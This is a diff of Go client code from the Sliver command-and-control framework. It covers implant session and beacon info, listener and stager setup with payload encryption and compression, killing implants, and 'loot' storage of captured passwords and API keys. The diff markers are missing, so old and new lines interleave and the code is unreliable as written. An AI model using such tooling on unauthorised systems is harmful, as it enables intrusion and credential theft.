hostBeacons(host.HostUUID, con),
len(host.IOCs),
len(host.ExtensionData),
con.FormatDateDelta(time.Unix(host.FirstContact, 0), true, false),
})
}
return tw.Render()
}
func hostSessions(hostUUID string, con *console.SliverConsoleClient) string {
func hostSessionNumbers(hostUUID string, con *console.SliverConsoleClient) string {
hostSessions := SessionsForHost(hostUUID, con)
if len(hostSessions) == 0 {
if 0 == len(hostSessions) {
return "None"
}
sessionIDs := []string{}
sessionNumbers := []string{}
for _, hostSession := range hostSessions {
sessionIDs = append(sessionIDs, strings.Split(hostSession.ID, "-")[0])
sessionNumbers = append(sessionNumbers, fmt.Sprintf("%d", hostSession.ID))
}
return fmt.Sprintf("%d", len(sessionIDs))
return strings.Join(sessionNumbers, ", ")
}
func hostBeacons(hostUUID string, con *console.SliverConsoleClient) string {
+8 -80
View File
@@ -19,43 +19,21 @@ package info
*/
import (
"context"
"time"
"github.com/bishopfox/sliver/client/command/use"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// InfoCmd - Display information about the active session
func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
// Check if we have an active target via 'use'
session, beacon := con.ActiveTarget.Get()
idArg := ctx.Args.String("session")
if idArg != "" {
// ID passed via argument takes priority
session, beacon, err = use.SessionOrBeaconByID(idArg, con)
} else {
if session == nil && beacon == nil {
session, beacon, err = use.SelectSessionOrBeacon(con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
if session != nil {
con.Printf(console.Bold+" Session ID: %s%s\n", console.Normal, session.ID)
con.Printf(console.Bold+" ID: %s%d\n", console.Normal, session.ID)
con.Printf(console.Bold+" Name: %s%s\n", console.Normal, session.Name)
con.Printf(console.Bold+" Hostname: %s%s\n", console.Normal, session.Hostname)
con.Printf(console.Bold+" UUID: %s%s\n", console.Normal, session.UUID)
@@ -65,18 +43,14 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.Printf(console.Bold+" PID: %s%d\n", console.Normal, session.PID)
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, session.OS)
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, session.Version)
con.Printf(console.Bold+" Locale: %s%s\n", console.Normal, session.Locale)
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, session.Arch)
con.Printf(console.Bold+" Active C2: %s%s\n", console.Normal, session.ActiveC2)
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, session.RemoteAddress)
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, session.ProxyURL)
con.Printf(console.Bold+"Reconnect Interval: %s%s\n", console.Normal, time.Duration(session.ReconnectInterval).String())
con.Printf(console.Bold+" First Contact: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(session.FirstContact, 0), true, false))
con.Printf(console.Bold+" Last Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(session.LastCheckin, 0), true, false))
con.Printf(console.Bold+"Reconnect Interval: %s%d\n", console.Normal, session.ReconnectInterval)
} else if beacon != nil {
con.Printf(console.Bold+" Beacon ID: %s%s\n", console.Normal, beacon.ID)
con.Printf(console.Bold+" ID: %s%s\n", console.Normal, beacon.ID)
con.Printf(console.Bold+" Name: %s%s\n", console.Normal, beacon.Name)
con.Printf(console.Bold+" Hostname: %s%s\n", console.Normal, beacon.Hostname)
con.Printf(console.Bold+" UUID: %s%s\n", console.Normal, beacon.UUID)
@@ -86,16 +60,11 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.Printf(console.Bold+" PID: %s%d\n", console.Normal, beacon.PID)
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, beacon.OS)
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, beacon.Version)
con.Printf(console.Bold+" Locale: %s%s\n", console.Normal, beacon.Locale)
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, beacon.Arch)
con.Printf(console.Bold+" Active C2: %s%s\n", console.Normal, beacon.ActiveC2)
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, beacon.RemoteAddress)
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, beacon.ProxyURL)
con.Printf(console.Bold+" Interval: %s%s\n", console.Normal, time.Duration(beacon.Interval).String())
con.Printf(console.Bold+" Jitter: %s%s\n", console.Normal, time.Duration(beacon.Jitter).String())
con.Printf(console.Bold+" First Contact: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.FirstContact, 0), true, false))
con.Printf(console.Bold+" Last Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), true, false))
con.Printf(console.Bold+" Next Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), true, true))
con.Printf(console.Bold+" Interval: %s%d\n", console.Normal, beacon.Interval)
con.Printf(console.Bold+" Jitter: %s%d\n", console.Normal, beacon.Jitter)
} else {
con.PrintErrorf("No target session, see `help %s`\n", consts.InfoStr)
@@ -147,50 +116,9 @@ func WhoamiCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if session == nil && beacon == nil {
return
}
var isWin bool
con.Printf("Logon ID: ")
if session != nil {
con.Printf("%s\n", session.Username)
if session.GetOS() == "windows" {
isWin = true
}
} else if beacon != nil {
con.Printf("%s\n", beacon.Username)
if beacon.GetOS() == "windows" {
isWin = true
}
}
if isWin {
cto, err := con.Rpc.CurrentTokenOwner(context.Background(), &sliverpb.CurrentTokenOwnerReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if cto.Response != nil && cto.Response.Async {
con.AddBeaconCallback(cto.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, cto)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintTokenOwner(cto, con)
})
con.PrintAsyncResponse(cto.Response)
} else {
PrintTokenOwner(cto, con)
}
}
}
func PrintTokenOwner(cto *sliverpb.CurrentTokenOwner, con *console.SliverConsoleClient) {
if cto.Response != nil && cto.Response.Err != "" {
con.PrintErrorf("%s\n", cto.Response.Err)
return
}
con.PrintInfof("Current Token ID: %s", cto.Output)
}
+2 -3
View File
@@ -31,9 +31,9 @@ import (
func DNSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
domains := strings.Split(ctx.Flags.String("domains"), ",")
for index, domain := range domains {
for _, domain := range domains {
if !strings.HasSuffix(domain, ".") {
domains[index] += "."
domain += "."
}
}
@@ -47,7 +47,6 @@ func DNSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Port: uint32(lport),
Canaries: !ctx.Flags.Bool("no-canaries"),
Persistent: ctx.Flags.Bool("persistent"),
EnforceOTP: !ctx.Flags.Bool("disable-otp"),
})
con.Println()
if err != nil {
-1
View File
@@ -68,7 +68,6 @@ func HTTPSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
EnforceOTP: !disableOTP,
LongPollTimeout: int64(longPollTimeout),
LongPollJitter: int64(longPollJitter),
RandomizeJARM: !ctx.Flags.Bool("disable-randomized-jarm"),
})
con.Println()
if err != nil {
+15 -22
View File
@@ -21,15 +21,16 @@ package jobs
import (
"context"
"fmt"
"os"
"sort"
"strings"
"text/tabwriter"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// JobsCmd - Manage server jobs (listeners, etc)
@@ -50,41 +51,33 @@ func JobsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
activeJobs[job.ID] = job
}
if 0 < len(activeJobs) {
PrintJobs(activeJobs, con)
printJobs(activeJobs)
} else {
con.PrintInfof("No active jobs\n")
}
}
}
// PrintJobs - Prints a list of active jobs
func PrintJobs(jobs map[uint32]*clientpb.Job, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"ID",
"Name",
"Protocol",
"Port",
})
func printJobs(jobs map[uint32]*clientpb.Job) {
table := tabwriter.NewWriter(os.Stdout, 0, 2, 2, ' ', 0)
fmt.Fprintf(table, "ID\tName\tProtocol\tPort\t\n")
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n",
strings.Repeat("=", len("ID")),
strings.Repeat("=", len("Name")),
strings.Repeat("=", len("Protocol")),
strings.Repeat("=", len("Port")))
var keys []int
for _, job := range jobs {
keys = append(keys, int(job.ID))
}
sort.Ints(keys)
sort.Ints(keys) // Fucking Go can't sort int32's, so we convert to/from int's
for _, k := range keys {
job := jobs[uint32(k)]
tw.AppendRow(table.Row{
fmt.Sprintf("%d", job.ID),
job.Name,
job.Protocol,
fmt.Sprintf("%d", job.Port),
})
fmt.Fprintf(table, "%d\t%s\t%s\t%d\t\n", job.ID, job.Name, job.Protocol, job.Port)
}
con.Printf("%s\n", tw.Render())
table.Flush()
}
func jobKill(jobID uint32, con *console.SliverConsoleClient) {
-75
View File
@@ -19,18 +19,13 @@ package jobs
*/
import (
"bytes"
"compress/zlib"
"context"
"encoding/binary"
"net/url"
"strconv"
"strings"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
)
@@ -38,10 +33,6 @@ import (
func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
profileName := ctx.Flags.String("profile")
listenerURL := ctx.Flags.String("url")
aesEncryptKey := ctx.Flags.String("aes-encrypt-key")
aesEncryptIv := ctx.Flags.String("aes-encrypt-iv")
prependSize := ctx.Flags.Bool("prepend-size")
compress := strings.ToLower(ctx.Flags.String("compress"))
if profileName == "" || listenerURL == "" {
con.PrintErrorf("Missing required flags, see `help stage-listener` for more info\n")
@@ -65,63 +56,14 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Profile not found\n")
return
}
aesEncrypt := false
if aesEncryptKey != "" {
// check if aes encryption key is correct length
if len(aesEncryptKey)%16 != 0 {
con.PrintErrorf("Incorrect length of AES Key\n")
return
}
// set default aes iv
if aesEncryptIv == "" {
aesEncryptIv = "0000000000000000"
}
// check if aes iv is correct length
if len(aesEncryptIv)%16 != 0 {
con.PrintErrorf("Incorrect length of AES IV\n")
return
}
aesEncrypt = true
}
stage2, err := generate.GetSliverBinary(profile, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
switch compress {
case "zlib":
// use zlib to compress the stage2
var compBuff bytes.Buffer
zlibWriter := zlib.NewWriter(&compBuff)
zlibWriter.Write(stage2)
zlibWriter.Close()
stage2 = compBuff.Bytes()
case "gzip":
stage2 = util.GzipBuf(stage2)
case "deflate9":
fallthrough
case "deflate":
stage2 = util.DeflateBuf(stage2)
}
if aesEncrypt {
// PreludeEncrypt is vanilla AES, we typically only use it for interoperability with Prelude
// but it's also useful here as more advanced cipher modes are often difficult to implement in
// a stager.
stage2 = util.PreludeEncrypt(stage2, []byte(aesEncryptKey), []byte(aesEncryptIv))
}
switch stagingURL.Scheme {
case "http":
if prependSize {
stage2 = prependPayloadSize(stage2)
}
ctrl := make(chan bool)
con.SpinUntil("Starting HTTP staging listener...", ctrl)
stageListener, err := con.Rpc.StartHTTPStagerListener(context.Background(), &clientpb.StagerListenerReq{
@@ -138,9 +80,6 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
con.PrintInfof("Job %d (http) started\n", stageListener.GetJobID())
case "https":
if prependSize {
stage2 = prependPayloadSize(stage2)
}
cert, key, err := getLocalCertificatePair(ctx)
if err != nil {
con.Println()
@@ -166,8 +105,6 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
con.PrintInfof("Job %d (https) started\n", stageListener.GetJobID())
case "tcp":
// Always prepend payload size for TCP stagers
stage2 = prependPayloadSize(stage2)
ctrl := make(chan bool)
con.SpinUntil("Starting TCP staging listener...", ctrl)
stageListener, err := con.Rpc.StartTCPStagerListener(context.Background(), &clientpb.StagerListenerReq{
@@ -188,16 +125,4 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Unsupported staging protocol: %s\n", stagingURL.Scheme)
return
}
if aesEncrypt {
con.PrintInfof("AES KEY: %v\n", aesEncryptKey)
con.PrintInfof("AES IV: %v\n", aesEncryptIv)
}
}
func prependPayloadSize(payload []byte) []byte {
payloadSize := uint32(len(payload))
lenBuf := make([]byte, 4)
binary.LittleEndian.PutUint32(lenBuf, payloadSize)
return append(lenBuf, payload...)
}
+13 -15
View File
@@ -27,7 +27,6 @@ import (
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/core"
"github.com/desertbit/grumble"
)
@@ -36,26 +35,28 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
// Confirm with the user, just in case they confused kill with terminate
confirm := false
con.PrintWarnf("WARNING: This will kill the remote implant process\n\n")
promptSession := &survey.Confirm{Message: "Kill the active session?"}
promptBeacon := &survey.Confirm{Message: "Kill the active beacon?"}
if session != nil {
survey.AskOne(&survey.Confirm{Message: "Kill the active session?"}, &confirm, nil)
survey.AskOne(promptSession, &confirm, nil)
if !confirm {
return
}
err := KillSession(session, ctx, con)
err := KillSession(session, ctx.Flags.Bool("force"), con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Killed %s (%s)\n", session.Name, session.ID)
con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
con.ActiveTarget.Background()
return
} else if beacon != nil {
survey.AskOne(&survey.Confirm{Message: "Kill the active beacon?"}, &confirm, nil)
}
if beacon != nil {
survey.AskOne(promptBeacon, &confirm, nil)
if !confirm {
return
}
err := KillBeacon(beacon, ctx, con)
err := KillBeacon(beacon, ctx.Flags.Bool("force"), con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -68,31 +69,28 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
func KillSession(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) error {
func KillSession(session *clientpb.Session, force bool, con *console.SliverConsoleClient) error {
if session == nil {
return errors.New("session does not exist")
}
_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
Request: &commonpb.Request{
SessionID: session.ID,
Timeout: int64(ctx.Flags.Int("timeout")),
},
Force: ctx.Flags.Bool("force"),
Force: force,
})
core.Sessions.Remove(session.ID)
return err
}
func KillBeacon(beacon *clientpb.Beacon, ctx *grumble.Context, con *console.SliverConsoleClient) error {
func KillBeacon(beacon *clientpb.Beacon, force bool, con *console.SliverConsoleClient) error {
if beacon == nil {
return errors.New("session does not exist")
}
_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
Request: &commonpb.Request{
BeaconID: beacon.ID,
Timeout: int64(ctx.Flags.Int("timeout")),
},
Force: ctx.Flags.Bool("force"),
Force: force,
})
return err
+75
View File
@@ -0,0 +1,75 @@
package loot
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// LootAddCredentialCmd - Add a credential type loot
func LootAddCredentialCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
prompt := &survey.Select{
Message: "Choose a credential type:",
Options: []string{
clientpb.CredentialType_API_KEY.String(),
clientpb.CredentialType_USER_PASSWORD.String(),
},
}
credType := ""
survey.AskOne(prompt, &credType, survey.WithValidator(survey.Required))
name := ctx.Flags.String("name")
if name == "" {
namePrompt := &survey.Input{Message: "Credential Name: "}
con.Println()
survey.AskOne(namePrompt, &name)
con.Println()
}
loot := &clientpb.Loot{
Type: clientpb.LootType_LOOT_CREDENTIAL,
Name: name,
Credential: &clientpb.Credential{},
}
switch credType {
case clientpb.CredentialType_USER_PASSWORD.String():
loot.CredentialType = clientpb.CredentialType_USER_PASSWORD
usernamePrompt := &survey.Input{Message: "Username: "}
survey.AskOne(usernamePrompt, &loot.Credential.User)
passwordPrompt := &survey.Input{Message: "Password: "}
survey.AskOne(passwordPrompt, &loot.Credential.Password)
case clientpb.CredentialType_API_KEY.String():
loot.CredentialType = clientpb.CredentialType_API_KEY
usernamePrompt := &survey.Input{Message: "API Key: "}
survey.AskOne(usernamePrompt, &loot.Credential.APIKey)
}
loot, err := con.Rpc.LootAdd(context.Background(), loot)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Successfully added loot to server (%s)\n", loot.LootID)
}
+11 -1
View File
@@ -22,6 +22,7 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
@@ -32,12 +33,21 @@ func LootFetchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("%s\n", err)
return
}
loot, err = con.Rpc.LootContent(context.Background(), loot)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
PrintLootFile(loot, con)
// Handle loot based on its type
switch loot.Type {
case clientpb.LootType_LOOT_FILE:
PrintLootFile(con.App.Stdout(), loot)
case clientpb.LootType_LOOT_CREDENTIAL:
PrintLootCredential(con.App.Stdout(), loot)
}
if ctx.Flags.String("save") != "" {
savedTo, err := saveLootToDisk(ctx, loot)
if err != nil {
+98 -18
View File
@@ -27,11 +27,12 @@ import (
"context"
"errors"
"fmt"
"path/filepath"
"path"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
@@ -52,7 +53,12 @@ func AddLootFile(rpc rpcpb.SliverRPCClient, name string, fileName string, data [
if len(data) < 1 {
return ErrNoLootFileData
}
var lootType clientpb.LootType
if isCredential {
lootType = clientpb.LootType_LOOT_CREDENTIAL
} else {
lootType = clientpb.LootType_LOOT_FILE
}
var lootFileType clientpb.FileType
if isText(data) || strings.HasSuffix(fileName, ".txt") {
lootFileType = clientpb.FileType_TEXT
@@ -61,42 +67,116 @@ func AddLootFile(rpc rpcpb.SliverRPCClient, name string, fileName string, data [
}
loot := &clientpb.Loot{
Name: name,
Type: lootType,
FileType: lootFileType,
File: &commonpb.File{
Name: filepath.Base(fileName),
Name: path.Base(fileName),
Data: data,
},
}
if lootType == clientpb.LootType_LOOT_CREDENTIAL {
loot.CredentialType = clientpb.CredentialType_FILE
}
_, err := rpc.LootAdd(context.Background(), loot)
return err
}
// SelectLoot - Interactive menu for the user to select a piece loot (all types)
func SelectLoot(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) (*clientpb.Loot, error) {
// AddLootUserPassword - Add user/password as loot
func AddLootUserPassword(rpc rpcpb.SliverRPCClient, name string, user string, password string) error {
loot := &clientpb.Loot{
Name: name,
Type: clientpb.LootType_LOOT_CREDENTIAL,
CredentialType: clientpb.CredentialType_USER_PASSWORD,
Credential: &clientpb.Credential{
User: user,
Password: password,
},
}
_, err := rpc.LootAdd(context.Background(), loot)
return err
}
// Fetch data with optional filter
var allLoot *clientpb.AllLoot
var err error
// AddLootAPIKey - Add a api key as loot
func AddLootAPIKey(rpc rpcpb.SliverRPCClient, name string, apiKey string) error {
loot := &clientpb.Loot{
Name: name,
Type: clientpb.LootType_LOOT_CREDENTIAL,
CredentialType: clientpb.CredentialType_API_KEY,
Credential: &clientpb.Credential{
APIKey: apiKey,
},
}
_, err := rpc.LootAdd(context.Background(), loot)
return err
}
allLoot, err = rpc.LootAll(context.Background(), &commonpb.Empty{})
// SelectCredentials - An interactive menu for the user to select a piece of loot
func SelectCredentials(con *console.SliverConsoleClient) (*clientpb.Loot, error) {
allLoot, err := con.Rpc.LootAllOf(context.Background(), &clientpb.Loot{
Type: clientpb.LootType_LOOT_CREDENTIAL,
})
if err != nil {
return nil, err
con.PrintErrorf("%s\n", err)
}
// Render selection table
buf := bytes.NewBufferString("")
table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0)
for _, loot := range allLoot.Loot {
filename := ""
if loot.File != nil {
filename = loot.File.Name
fmt.Fprintf(table, "%s\t%s\t%s\t\n", loot.Name, loot.CredentialType, loot.LootID)
}
table.Flush()
options := strings.Split(buf.String(), "\n")
options = options[:len(options)-1]
if len(options) == 0 {
return nil, errors.New("no loot to select from")
}
selected := ""
prompt := &survey.Select{
Message: "Select a piece of credentials:",
Options: options,
}
err = survey.AskOne(prompt, &selected)
if err != nil {
return nil, err
}
for index, value := range options {
if value == selected {
return allLoot.Loot[index], nil
}
if loot.Name == filename {
fmt.Fprintf(table, "%s\t%s\t\n", loot.Name, loot.ID)
} else {
fmt.Fprintf(table, "%s\t(File name: %s)\t%s\t\n", loot.Name, filename, loot.ID)
}
return nil, errors.New("loot not found")
}
// SelectLoot - Interactive menu for the user to select a piece loot (all types)
func SelectLoot(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) (*clientpb.Loot, error) {
// Fetch data with optional filter
filter := ctx.Flags.String("filter")
var allLoot *clientpb.AllLoot
var err error
if filter == "" {
allLoot, err = rpc.LootAll(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, err
}
} else {
lootType, err := lootTypeFromHumanStr(filter)
if err != nil {
return nil, ErrInvalidFileType
}
allLoot, err = rpc.LootAllOf(context.Background(), &clientpb.Loot{Type: lootType})
if err != nil {
return nil, err
}
}
// Render selection table
buf := bytes.NewBufferString("")
table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0)
for _, loot := range allLoot.Loot {
fmt.Fprintf(table, "%s\t%s\t%s\t\n", loot.Name, loot.Type, loot.LootID)
}
table.Flush()
options := strings.Split(buf.String(), "\n")
+33 -8
View File
@@ -21,9 +21,9 @@ package loot
import (
"context"
"fmt"
"io/ioutil"
"os"
"path"
"path/filepath"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -44,14 +44,35 @@ func LootAddLocalCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
name = path.Base(localPath)
}
var lootFileType clientpb.FileType
if isTextFile(localPath) {
lootFileType = clientpb.FileType_TEXT
var lootType clientpb.LootType
var err error
lootTypeStr := ctx.Flags.String("type")
if lootTypeStr != "" {
lootType, err = lootTypeFromHumanStr(lootTypeStr)
if err == ErrInvalidLootType {
con.PrintErrorf("Invalid loot type %s\n", lootTypeStr)
return
}
} else {
lootFileType = clientpb.FileType_BINARY
lootType = clientpb.LootType_LOOT_FILE
}
data, err := os.ReadFile(localPath)
lootFileTypeStr := ctx.Flags.String("file-type")
var lootFileType clientpb.FileType
if lootFileTypeStr != "" {
lootFileType, err = lootFileTypeFromHumanStr(lootFileTypeStr)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
} else {
if isTextFile(localPath) {
lootFileType = clientpb.FileType_TEXT
} else {
lootFileType = clientpb.FileType_BINARY
}
}
data, err := ioutil.ReadFile(localPath)
if err != nil {
con.PrintErrorf("Failed to read file %s\n", err)
return
@@ -59,12 +80,16 @@ func LootAddLocalCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
loot := &clientpb.Loot{
Name: name,
Type: lootType,
FileType: lootFileType,
File: &commonpb.File{
Name: filepath.Base(localPath),
Name: path.Base(localPath),
Data: data,
},
}
if lootType == clientpb.LootType_LOOT_CREDENTIAL {
loot.CredentialType = clientpb.CredentialType_FILE
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Uploading loot from %s", localPath), ctrl)
@@ -75,5 +100,5 @@ func LootAddLocalCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("%s\n", err)
}
con.PrintInfof("Successfully added loot to server (%s)\n", loot.ID)
con.PrintInfof("Successfully added loot to server (%s)\n", loot.LootID)
}
+239 -43
View File
@@ -19,85 +19,113 @@ package loot
*/
import (
"bytes"
"context"
"errors"
"fmt"
"io"
"io/ioutil"
"os"
"path"
"strings"
"text/tabwriter"
"unicode/utf8"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// LootCmd - The loot root command
func LootCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
allLoot, err := con.Rpc.LootAll(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Failed to fetch loot %s\n", err)
return
filter := ctx.Flags.String("filter")
var allLoot *clientpb.AllLoot
var err error
if filter == "" {
allLoot, err = con.Rpc.LootAll(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Failed to fetch loot %s\n", err)
return
}
} else {
lootType, err := lootTypeFromHumanStr(filter)
if err != nil {
con.PrintErrorf("Invalid loot type see --help")
return
}
allLoot, err = con.Rpc.LootAllOf(context.Background(), &clientpb.Loot{Type: lootType})
if err != nil {
con.PrintErrorf("Failed to fetch loot %s\n", err)
return
}
}
PrintAllFileLootTable(allLoot, con)
}
// PrintAllFileLootTable - Displays a table of all file loot
func PrintAllFileLootTable(allLoot *clientpb.AllLoot, con *console.SliverConsoleClient) {
if allLoot == nil || len(allLoot.Loot) == 0 {
con.PrintInfof("No loot 🙁\n")
return
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"ID",
"Name",
"File Name",
"Type",
"Size",
})
for _, loot := range allLoot.Loot {
if loot.File != nil {
tw.AppendRow(table.Row{
strings.Split(loot.ID, "-")[0],
loot.Name,
loot.File.Name,
fileTypeToStr(loot.FileType),
util.ByteCountBinary(loot.Size),
})
if filter == "" {
PrintAllLootTable(con.App.Stdout(), allLoot)
} else {
lootType, _ := lootTypeFromHumanStr(filter)
switch lootType {
case clientpb.LootType_LOOT_FILE:
PrintAllFileLootTable(con.App.Stdout(), allLoot)
case clientpb.LootType_LOOT_CREDENTIAL:
PrintAllCredentialLootTable(con.App.Stdout(), allLoot)
}
}
con.Printf("%s\n", tw.Render())
}
// PrintLootFile - Display the contents of a piece of loot
func PrintLootFile(loot *clientpb.Loot, con *console.SliverConsoleClient) {
func PrintLootFile(stdout io.Writer, loot *clientpb.Loot) {
if loot.File == nil {
return
}
fmt.Fprintln(stdout)
if loot.File.Name != "" {
con.PrintInfof("%sFile Name:%s %s\n\n", console.Bold, console.Normal, loot.File.Name)
fmt.Fprintf(stdout, "%sFile Name:%s %s\n\n", console.Bold, console.Normal, loot.File.Name)
}
if loot.File.Data != nil && 0 < len(loot.File.Data) {
if loot.FileType == clientpb.FileType_TEXT || isText(loot.File.Data) {
con.Printf("%s\n", string(loot.File.Data))
fmt.Fprintf(stdout, "%s", string(loot.File.Data))
} else {
con.PrintInfof("<%d bytes of binary data>\n", len(loot.File.Data))
fmt.Fprintf(stdout, "<%d bytes of binary data>\n", len(loot.File.Data))
}
} else {
con.PrintInfof("No file data\n")
fmt.Fprintf(stdout, "No file data\n")
}
}
func PrintLootCredential(stdout io.Writer, loot *clientpb.Loot) {
stdout.Write([]byte("\n"))
switch loot.CredentialType {
case clientpb.CredentialType_USER_PASSWORD:
if loot.Credential != nil {
fmt.Fprintf(stdout, "%s User:%s %s\n", console.Bold, console.Normal, loot.Credential.User)
fmt.Fprintf(stdout, "%sPassword:%s %s\n", console.Bold, console.Normal, loot.Credential.Password)
}
if loot.File != nil {
PrintLootFile(stdout, loot)
}
case clientpb.CredentialType_API_KEY:
if loot.Credential != nil {
fmt.Fprintf(stdout, "%sAPI Key:%s %s\n", console.Bold, console.Normal, loot.Credential.APIKey)
}
if loot.File != nil {
PrintLootFile(stdout, loot)
}
case clientpb.CredentialType_FILE:
if loot.File != nil {
PrintLootFile(stdout, loot)
}
default:
fmt.Fprintf(stdout, "%v\n", loot.Credential) // Well, let's give it our best
}
}
// Any loot with a "File" can be saved to disk
func saveLootToDisk(ctx *grumble.Context, loot *clientpb.Loot) (string, error) {
if loot.File == nil {
return "", errors.New("loot does not contain a file")
return "", errors.New("Loot does not contain a file")
}
saveTo := ctx.Flags.String("save")
@@ -116,10 +144,152 @@ func saveLootToDisk(ctx *grumble.Context, loot *clientpb.Loot) (string, error) {
return "", nil
}
}
err = os.WriteFile(saveTo, loot.File.Data, 0600)
err = ioutil.WriteFile(saveTo, loot.File.Data, 0600)
return saveTo, err
}
// PrintAllLootTable - Displays a table of all loot
